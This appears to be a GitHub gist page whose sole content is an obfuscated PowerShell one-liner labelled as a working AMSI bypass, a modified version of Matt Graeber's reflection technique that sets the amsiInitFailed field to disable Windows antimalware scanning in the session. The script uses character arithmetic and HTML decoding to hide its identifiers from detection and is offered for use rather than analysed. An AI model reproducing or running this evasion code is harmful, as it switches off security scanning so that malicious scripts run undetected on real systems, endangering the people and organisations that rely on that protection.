Skip to content

Instantly share code, notes, and snippets.

@GetRektBoy724

GetRektBoy724/amsibypass3.ps1

Created January 8, 2021 11:50
Show Gist options
  • Save GetRektBoy724/8a2405c2d85f2bb581bfd40fc4f48fb6 to your computer and use it in GitHub Desktop.
Save GetRektBoy724/8a2405c2d85f2bb581bfd40fc4f48fb6 to your computer and use it in GitHub Desktop.
Download ZIP
Matt Graebers Reflection method with WMF5 autologging bypass - Modified by https://amsi.fail - tested : working
Raw
amsibypass3.ps1
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType('System.Management.Automation.'+$([cHar]([bytE]0x41)+[cHAr](44+65)+[ChAR]([BYtE]0x73)+[ChAr](126-21))+'Utils')),($([sYStem.Net.wEBUtilITy]::hTmLdecODe('GetField')))).Invoke(''+$([cHAR]([bYtE]0x61)+[chAR]([bYte]0x6D)+[ChaR](2990/26)+[cHaR](5985/57))+'InitFailed',(('NonPublic,Static') -as [String].Assembly.GetType('System.Reflection.BindingFlags'))).SetValue($null,$True);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment